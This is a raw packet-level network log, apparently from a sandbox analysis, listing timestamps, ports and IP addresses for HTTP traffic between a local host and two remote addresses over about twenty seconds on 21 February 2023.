Feb 21, 2023 07:08:52.882855892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.883017063 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:52.926099062 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.927959919 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.057118893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.102737904 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.158154011 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.204319954 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.249752045 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.351331949 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.396589041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.509670973 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.555130959 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.666002035 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.711519957 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.759478092 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.832094908 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.878030062 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.916045904 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:53.959352970 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:53.959701061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.042896032 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:54.043181896 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.086303949 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:54.088510036 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:54.172732115 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.354676962 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.400500059 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:54.469669104 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.551820993 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.597450018 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:54.672776937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.751418114 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:54.797404051 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:54.863198996 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:55.265211105 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:55.315210104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:55.467470884 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:55.537022114 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:55.583003044 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:55.670553923 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.486974955 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.530293941 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.531802893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.531928062 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532015085 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532068968 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532197952 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532197952 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532236099 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532277107 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.532337904 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.575206041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575251102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575303078 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.575364113 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575521946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575689077 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575817108 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575853109 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.575963020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576041937 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576200962 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576375008 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576430082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576519012 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576642036 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576761961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576843023 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.576973915 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.577070951 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.577152967 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.577188015 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.616806984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.618318081 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.620651007 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.635308981 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.678533077 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.682471037 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.764866114 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.765044928 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.808264971 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.809947968 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:57.858294010 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.923500061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:57.969582081 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:58.086344957 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:58.132359028 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:58.244497061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:58.289763927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:58.360471010 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:58.800168037 CET	49750	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:59.716686964 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.759797096 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.761250019 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761379957 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761451960 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761508942 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761604071 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761784077 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761878014 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.761938095 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.805790901 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.805830002 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.805861950 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.805898905 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.805968046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.805989027 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806068897 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806085110 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806099892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806179047 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806230068 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806245089 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806301117 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.806317091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.851361036 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.875076056 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:59.918255091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:59.918663979 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.000752926 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.002070904 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.045118093 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.046922922 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.166935921 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.212307930 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.260416031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.323079109 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.368068933 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.482764959 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.527683020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.715651035 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.760726929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.860959053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.871722937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:00.916706085 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:00.965594053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.020253897 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.065210104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:01.167484999 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.399528980 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.445029020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:01.558547974 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.603626966 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:01.776921034 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.798084974 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.830051899 CET	80	49749	208.95.112.1	192.168.2.3
Feb 21, 2023 07:09:01.843267918 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:01.980016947 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:01.980324030 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:02.025387049 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:02.136903048 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:02.183095932 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:02.276947021 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:02.296686888 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:02.342983007 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:02.464441061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.442332029 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.485913992 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.488086939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488197088 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488279104 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488334894 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488420010 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488478899 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488565922 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.488614082 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.531330109 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531361103 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531397104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531405926 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.531517029 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531630993 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531672001 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531752110 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.531830072 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532032013 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532073975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532196999 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532310963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532393932 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532556057 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532634974 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532762051 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532870054 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.532989979 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.533030987 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.533111095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.533237934 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.576527119 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.601948023 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.645248890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.645494938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.727977991 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.728470087 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.771692991 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.774315119 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.872001886 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.890240908 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.936711073 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.950222969 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:03.993881941 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:03.996428967 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.079838991 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.080460072 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.123568058 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.125998020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.168910980 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.233536005 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.279098988 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.372051954 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.388020039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.433717966 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.546854019 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.591902018 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.669142008 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.700517893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.746258020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:04.858760118 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.889971018 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:04.936429024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.037980080 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.083554029 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.160753012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.191978931 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.237082005 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.339013100 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.384221077 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.460669041 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.493472099 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.538458109 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.653762102 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.698941946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.810298920 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:05.855283022 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:05.966633081 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.012444973 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.059742928 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.174099922 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.219209909 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.267680883 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.618664026 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.661926031 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.662339926 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662339926 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662460089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662460089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662544012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662652016 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662698984 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.662739992 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.705683947 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.705750942 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.705785990 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.705857038 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.705919027 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.705961943 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.705996990 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706126928 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706176043 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706355095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706474066 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706592083 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706657887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706762075 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.706862926 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.707026005 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.707182884 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.707252979 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.707364082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.707401991 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.746876001 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.748963118 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.750955105 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.767942905 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.811166048 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.836127996 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.918895006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.919049025 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:06.963265896 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:06.965065002 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:07.074575901 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:07.283968925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:07.329427004 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:07.441514969 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:07.486613989 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:07.566823959 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:08.237737894 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:08.283315897 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:08.459048033 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:08.848455906 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:08.893802881 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:08.959784985 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.073615074 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.119651079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.159800053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.250056982 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.295815945 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.361776114 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.403156042 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.448214054 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.554039001 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.599315882 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.660693884 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.702058077 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.747145891 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.888165951 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.931555033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.931919098 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.932069063 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.932214975 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.932328939 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.932415009 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.932499886 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.932660103 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.933753014 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.975202084 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975251913 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975287914 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975322962 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975503922 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975570917 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975761890 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.975922108 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976042986 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976141930 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:09:09.976238966 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976349115 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976489067 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976655006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976692915 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.976885080 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977000952 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977127075 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977242947 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977399111 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977524996 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977684975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:09.977724075 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:09:10.021296978 CET	80	49746	89.45.67.2	192.168.2.3
